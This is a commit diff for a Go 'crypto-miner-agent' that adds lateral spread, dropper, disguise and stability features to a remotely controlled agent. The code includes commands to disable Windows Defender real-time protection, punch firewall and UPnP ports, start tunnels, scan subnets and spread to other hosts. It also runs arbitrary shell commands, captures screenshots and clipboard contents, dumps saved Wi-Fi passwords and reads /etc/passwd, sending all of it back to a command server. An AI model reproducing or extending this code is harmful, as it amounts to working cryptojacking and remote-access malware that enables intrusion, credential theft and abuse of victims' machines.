Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
143
agent/client/aggressive_commands.go
Normal file
143
agent/client/aggressive_commands.go
Normal file
@@ -0,0 +1,143 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
switch action {
|
||||
case "hole_punch", "hole_punch_close", "hole_punch_status":
|
||||
if !c.cfg.HolePunch {
|
||||
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
|
||||
}
|
||||
case "spread_now":
|
||||
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
||||
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
||||
}
|
||||
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch":
|
||||
if !c.cfg.RemoteAggressive {
|
||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||
}
|
||||
case "mesh_status":
|
||||
if !c.cfg.MeshP2P {
|
||||
return false, "mesh P2P not enabled in forge"
|
||||
}
|
||||
default:
|
||||
return true, ""
|
||||
}
|
||||
return true, ""
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
|
||||
ok, reason := c.allowRemoteAction(action)
|
||||
if !ok {
|
||||
c.sendCommandResult(action, false, reason)
|
||||
return true
|
||||
}
|
||||
|
||||
switch action {
|
||||
case "hole_punch":
|
||||
internalPort := parsePortArg(command, 8989)
|
||||
externalPort := parsePortArg(path, internalPort)
|
||||
desc := data
|
||||
if desc == "" {
|
||||
desc = c.cfg.WorkerName + "-aetherforge"
|
||||
}
|
||||
result, err := deploy.PunchUPnP(internalPort, externalPort, desc)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, result.Message)
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, result.Message)
|
||||
return true
|
||||
|
||||
case "hole_punch_close":
|
||||
externalPort := parsePortArg(command, 8989)
|
||||
msg, err := deploy.CloseUPnP(externalPort)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "hole_punch_status":
|
||||
ip, err := deploy.GetPublicEndpoint()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("WAN IP via UPnP: %s (use Hole Punch to map a port)", ip))
|
||||
return true
|
||||
|
||||
case "spread_now":
|
||||
msg := deploy.RunSpreadOnce(c.cfg)
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "start_tunnel":
|
||||
serverURL := strings.TrimSpace(command)
|
||||
if serverURL == "" {
|
||||
serverURL = c.cfg.ServerURL
|
||||
}
|
||||
msg, err := deploy.StartCloudflaredTunnel(serverURL)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "subnet_scan":
|
||||
maxHosts := parsePortArg(command, 64)
|
||||
out := deploy.ScanLocalSubnet(maxHosts)
|
||||
c.sendCommandResult(action, true, out)
|
||||
return true
|
||||
|
||||
case "defender_off":
|
||||
msg, err := deploy.DisableDefenderRealtime()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "firewall_punch":
|
||||
port := parsePortArg(command, 8989)
|
||||
name := path
|
||||
if name == "" {
|
||||
name = "AetherForge Remote " + c.cfg.WorkerName
|
||||
}
|
||||
msg, err := deploy.OpenFirewallPort(port, name)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "mesh_status":
|
||||
count := c.mesh.PeerCount()
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func parsePortArg(raw string, fallback int) int {
|
||||
raw = strings.TrimSpace(raw)
|
||||
if raw == "" {
|
||||
return fallback
|
||||
}
|
||||
n, err := strconv.Atoi(raw)
|
||||
if err != nil || n <= 0 || n > 65535 {
|
||||
return fallback
|
||||
}
|
||||
return n
|
||||
}
|
||||
46
agent/client/aggressive_commands_test.go
Normal file
46
agent/client/aggressive_commands_test.go
Normal file
@@ -0,0 +1,46 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestAllowRemoteActionHolePunch(t *testing.T) {
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{HolePunch: false}}}
|
||||
ok, reason := c.allowRemoteAction("hole_punch")
|
||||
if ok || reason == "" {
|
||||
t.Fatalf("expected hole punch blocked without forge flag")
|
||||
}
|
||||
|
||||
c.cfg.HolePunch = true
|
||||
ok, reason = c.allowRemoteAction("hole_punch")
|
||||
if !ok || reason != "" {
|
||||
t.Fatalf("expected hole punch allowed: ok=%v reason=%q", ok, reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAllowRemoteActionSpread(t *testing.T) {
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
|
||||
ok, _ := c.allowRemoteAction("spread_now")
|
||||
if ok {
|
||||
t.Fatal("spread_now should require auto_spread or remote_aggressive")
|
||||
}
|
||||
c.cfg.RemoteAggressive = true
|
||||
ok, _ = c.allowRemoteAction("spread_now")
|
||||
if !ok {
|
||||
t.Fatal("spread_now should allow with remote_aggressive")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParsePortArg(t *testing.T) {
|
||||
if parsePortArg("", 8989) != 8989 {
|
||||
t.Fatal("empty should fallback")
|
||||
}
|
||||
if parsePortArg("443", 8989) != 443 {
|
||||
t.Fatal("443 expected")
|
||||
}
|
||||
if parsePortArg("bad", 8989) != 8989 {
|
||||
t.Fatal("invalid should fallback")
|
||||
}
|
||||
}
|
||||
@@ -563,13 +563,26 @@ func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) {
|
||||
}
|
||||
f.Close()
|
||||
|
||||
// Replace old binary
|
||||
// On Windows the running executable is locked — you cannot overwrite it, but
|
||||
// you CAN rename/move it to a .old path (the file handle stays open on the
|
||||
// original inode). Rename the live exe out of the way first, then put the
|
||||
// new binary in its place.
|
||||
oldPath := exePath + ".old"
|
||||
_ = os.Remove(oldPath) // remove a previous leftover if any
|
||||
if err := os.Rename(exePath, oldPath); err != nil && !os.IsNotExist(err) {
|
||||
// Running exe could not be moved — fall back to writing alongside
|
||||
os.Remove(tmpPath)
|
||||
return "", fmt.Errorf("cannot displace running binary: %w", err)
|
||||
}
|
||||
|
||||
if err := os.Rename(tmpPath, exePath); err != nil {
|
||||
// Restore the old binary so the next run still works
|
||||
_ = os.Rename(oldPath, exePath)
|
||||
os.Remove(tmpPath)
|
||||
return "", fmt.Errorf("rename failed: %w", err)
|
||||
}
|
||||
|
||||
// Start the new binary
|
||||
// Start the new binary with its own process group so it survives our exit
|
||||
startCmd := exec.Command(exePath)
|
||||
if err := startCmd.Start(); err != nil {
|
||||
return fmt.Sprintf("downloaded to %s but start failed: %v", exePath, err), nil
|
||||
|
||||
@@ -10,6 +10,7 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
@@ -155,6 +156,14 @@ func (c *AgentClient) authenticate() error {
|
||||
AIEnabled: c.cfg.AIEnabled,
|
||||
AIOllamaEndpoint: c.cfg.AIOllamaEndpoint,
|
||||
AIModel: c.cfg.AIModel,
|
||||
HolePunch: c.cfg.HolePunch,
|
||||
RemoteAggressive: c.cfg.RemoteAggressive,
|
||||
MeshP2P: c.cfg.MeshP2P,
|
||||
AutoSpread: c.cfg.AutoSpread,
|
||||
ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows",
|
||||
Platform: runtime.GOOS,
|
||||
Arch: runtime.GOARCH,
|
||||
OSVersion: deploy.HostOSVersion(),
|
||||
})
|
||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||
return err
|
||||
@@ -249,6 +258,9 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) {
|
||||
if c.handleAggressiveCommand(action, tailLines, command, path, data) {
|
||||
return
|
||||
}
|
||||
switch action {
|
||||
case "pause":
|
||||
c.pool.PauseRemote()
|
||||
@@ -294,9 +306,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
c.sendCommandResult(action, false, "no command provided")
|
||||
return
|
||||
}
|
||||
out, err := exec.Command("cmd.exe", "/C", command).CombinedOutput()
|
||||
out, err := c.runExecCommand(command)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
c.sendCommandResult(action, false, formatCmdErr(err, out))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
@@ -305,9 +317,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
c.sendCommandResult(action, false, "no command provided")
|
||||
return
|
||||
}
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput()
|
||||
out, err := c.runShellCommand(command)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
c.sendCommandResult(action, false, formatCmdErr(err, out))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
@@ -338,73 +350,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
}
|
||||
encoded := base64.StdEncoding.EncodeToString(b)
|
||||
c.sendCommandResult(action, true, encoded)
|
||||
case "ps":
|
||||
out, err := exec.Command("tasklist").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "netstat":
|
||||
out, err := exec.Command("netstat", "-ano").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "users":
|
||||
out, err := exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "software":
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
||||
"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "screenshot":
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
||||
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("screenshot failed: %v\n%s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
|
||||
case "sysinfo":
|
||||
out, err := exec.Command("systeminfo").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "ipconfig":
|
||||
out, err := exec.Command("ipconfig", "/all").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "clipboard":
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
|
||||
case "wifi":
|
||||
script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
|
||||
default:
|
||||
if c.handleReconCommand(action, command) {
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, false, "unknown action")
|
||||
}
|
||||
}
|
||||
@@ -465,6 +414,7 @@ func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
|
||||
func (c *AgentClient) submitShare(jobID, nonce, hash string) {
|
||||
c.mu.Lock()
|
||||
c.sharesSubmitted++
|
||||
conn := c.conn // read under the same lock to avoid data race
|
||||
c.mu.Unlock()
|
||||
|
||||
payload, _ := json.Marshal(SharePayload{
|
||||
@@ -474,10 +424,9 @@ func (c *AgentClient) submitShare(jobID, nonce, hash string) {
|
||||
Worker: c.cfg.WorkerName,
|
||||
})
|
||||
|
||||
if c.conn != nil {
|
||||
if conn != nil {
|
||||
_ = c.write(Message{Type: "submit_share", Payload: payload})
|
||||
} else if c.cfg.MeshP2P {
|
||||
// Offline from Hub? Broadcast to Mesh peers!
|
||||
c.mesh.BroadcastToMesh(Message{Type: "submit_share", Payload: payload})
|
||||
}
|
||||
}
|
||||
|
||||
34
agent/client/commands_common.go
Normal file
34
agent/client/commands_common.go
Normal file
@@ -0,0 +1,34 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
|
||||
if runtime.GOOS == "windows" {
|
||||
return exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput()
|
||||
}
|
||||
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
||||
}
|
||||
|
||||
func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
|
||||
if runtime.GOOS == "windows" {
|
||||
return exec.Command("cmd.exe", "/C", command).CombinedOutput()
|
||||
}
|
||||
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleReconCommand(action, command string) bool {
|
||||
handled, success, msg := c.platformRecon(action, command)
|
||||
if !handled {
|
||||
return false
|
||||
}
|
||||
c.sendCommandResult(action, success, msg)
|
||||
return true
|
||||
}
|
||||
|
||||
func formatCmdErr(err error, out []byte) string {
|
||||
return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
|
||||
}
|
||||
53
agent/client/commands_unix.go
Normal file
53
agent/client/commands_unix.go
Normal file
@@ -0,0 +1,53 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (c *AgentClient) platformRecon(action, command string) (handled bool, success bool, message string) {
|
||||
var out []byte
|
||||
var err error
|
||||
switch action {
|
||||
case "ps":
|
||||
out, err = exec.Command("ps", "aux").CombinedOutput()
|
||||
case "netstat":
|
||||
out, err = exec.Command("ss", "-tunap").CombinedOutput()
|
||||
if err != nil {
|
||||
out, err = exec.Command("netstat", "-an").CombinedOutput()
|
||||
}
|
||||
case "users":
|
||||
out, err = exec.Command("/bin/sh", "-c", "id; echo; cat /etc/passwd 2>/dev/null | head -40").CombinedOutput()
|
||||
case "software":
|
||||
out, err = exec.Command("/bin/sh", "-c", "(dpkg -l 2>/dev/null || rpm -qa 2>/dev/null || brew list 2>/dev/null) | head -80").CombinedOutput()
|
||||
case "screenshot":
|
||||
if command != "" {
|
||||
out, err = exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
||||
} else {
|
||||
return true, false, "screenshot not supported on this platform without custom command"
|
||||
}
|
||||
case "sysinfo":
|
||||
out, err = exec.Command("uname", "-a").CombinedOutput()
|
||||
case "ipconfig":
|
||||
out, err = exec.Command("/bin/sh", "-c", "ifconfig 2>/dev/null || ip addr").CombinedOutput()
|
||||
case "clipboard":
|
||||
out, err = exec.Command("pbpaste").CombinedOutput()
|
||||
if err != nil {
|
||||
out, err = exec.Command("xclip", "-o", "-selection", "clipboard").CombinedOutput()
|
||||
}
|
||||
if err == nil {
|
||||
return true, true, strings.TrimSpace(string(out))
|
||||
}
|
||||
return true, false, "clipboard read unsupported on this host"
|
||||
case "wifi":
|
||||
out, err = exec.Command("/bin/sh", "-c", "networksetup -listallhardwareports 2>/dev/null; nmcli dev wifi list 2>/dev/null | head -20").CombinedOutput()
|
||||
default:
|
||||
return false, false, ""
|
||||
}
|
||||
if err != nil {
|
||||
return true, false, formatCmdErr(err, out)
|
||||
}
|
||||
return true, true, string(out)
|
||||
}
|
||||
54
agent/client/commands_windows.go
Normal file
54
agent/client/commands_windows.go
Normal file
@@ -0,0 +1,54 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (c *AgentClient) platformRecon(action, command string) (handled bool, success bool, message string) {
|
||||
var out []byte
|
||||
var err error
|
||||
switch action {
|
||||
case "ps":
|
||||
out, err = exec.Command("tasklist").CombinedOutput()
|
||||
case "netstat":
|
||||
out, err = exec.Command("netstat", "-ano").CombinedOutput()
|
||||
case "users":
|
||||
out, err = exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput()
|
||||
case "software":
|
||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
||||
"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput()
|
||||
case "screenshot":
|
||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
||||
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput()
|
||||
if err == nil {
|
||||
return true, true, strings.TrimSpace(string(out))
|
||||
}
|
||||
return true, false, formatCmdErr(err, out)
|
||||
case "sysinfo":
|
||||
out, err = exec.Command("systeminfo").CombinedOutput()
|
||||
case "ipconfig":
|
||||
out, err = exec.Command("ipconfig", "/all").CombinedOutput()
|
||||
case "clipboard":
|
||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput()
|
||||
if err == nil {
|
||||
return true, true, strings.TrimSpace(string(out))
|
||||
}
|
||||
return true, false, formatCmdErr(err, out)
|
||||
case "wifi":
|
||||
script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
|
||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
||||
if err == nil {
|
||||
return true, true, strings.TrimSpace(string(out))
|
||||
}
|
||||
return true, false, formatCmdErr(err, out)
|
||||
default:
|
||||
return false, false, ""
|
||||
}
|
||||
if err != nil {
|
||||
return true, false, formatCmdErr(err, out)
|
||||
}
|
||||
return true, true, string(out)
|
||||
}
|
||||
@@ -88,3 +88,11 @@ func (m *MeshNode) BroadcastToMesh(msg Message) {
|
||||
s.Close()
|
||||
}
|
||||
}
|
||||
|
||||
// PeerCount returns the number of connected mesh peers.
|
||||
func (m *MeshNode) PeerCount() int {
|
||||
if m.host == nil {
|
||||
return 0
|
||||
}
|
||||
return len(m.host.Network().Peers())
|
||||
}
|
||||
|
||||
@@ -11,3 +11,5 @@ func (m *MeshNode) Start() error { return nil }
|
||||
|
||||
func (m *MeshNode) BroadcastToMesh(_ Message) {}
|
||||
|
||||
func (m *MeshNode) PeerCount() int { return 0 }
|
||||
|
||||
|
||||
@@ -22,6 +22,14 @@ type AuthPayload struct {
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
||||
AIModel string `json:"ai_model"`
|
||||
HolePunch bool `json:"hole_punch"`
|
||||
RemoteAggressive bool `json:"remote_aggressive"`
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
Platform string `json:"platform"`
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
}
|
||||
|
||||
type AuthResponse struct {
|
||||
|
||||
Reference in New Issue
Block a user